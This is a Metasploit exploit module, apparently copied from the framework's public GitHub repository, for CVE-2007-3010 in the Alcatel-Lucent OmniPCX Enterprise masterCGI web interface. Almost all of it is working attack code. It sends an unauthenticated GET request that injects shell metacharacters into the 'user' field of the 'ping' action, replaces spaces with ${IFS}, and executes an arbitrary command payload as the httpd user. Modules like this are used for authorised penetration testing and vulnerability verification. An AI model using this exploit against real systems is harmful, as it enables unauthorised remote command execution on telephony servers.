Path: blob/master/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb
19847 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking # Only interactive single commands supported78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',15'Description' => %q{16This module abuses a metacharacter injection vulnerability in the17HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise18Communication Server 7.1 and earlier. The Unified Maintenance Tool19contains a 'masterCGI' binary which allows an unauthenticated attacker20to execute arbitrary commands by specifying shell metacharaters as the21'user' within the 'ping' action to obtain 'httpd' user access. This22module only supports command line payloads, as the httpd process kills23the reverse/bind shell spawn after the HTTP 200 OK response.24},25'Author' => [ 'aushack' ],26'License' => MSF_LICENSE,27'References' => [28[ 'OSVDB', '40521' ],29[ 'BID', '25694' ],30[ 'CVE', '2007-3010' ],31[ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],32],33'Platform' => ['unix'],34'Arch' => ARCH_CMD,35'Privileged' => false,36'Payload' => {37'Space' => 1024,38'DisableNops' => true,39'Compat' =>40{41'PayloadType' => 'cmd',42'RequiredCmd' => 'generic'43}44},45'Targets' => [46[ 'Automatic Target', {}]47],48'DefaultTarget' => 0,49'DisclosureDate' => '2007-09-09',50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options(59[60Opt::RPORT(443),61OptBool.new('SSL', [true, 'Use SSL', true]),62]63)64end6566def exploit67connect6869cmd = payload.encoded.gsub(" ", '${IFS}')70req =71"GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +72"Host: #{rhost}\r\n\r\n"7374print_status("Sending GET request with command line payload...")75sock.put(req)7677res = sock.get_once(-1, 5)7879if (res =~ /<h5>(.*)<\/h5>/smi)80out = $181print_line(out.gsub(/<h5>|<\/h5>/, ''))82return83end8485handler86disconnect87end88end899091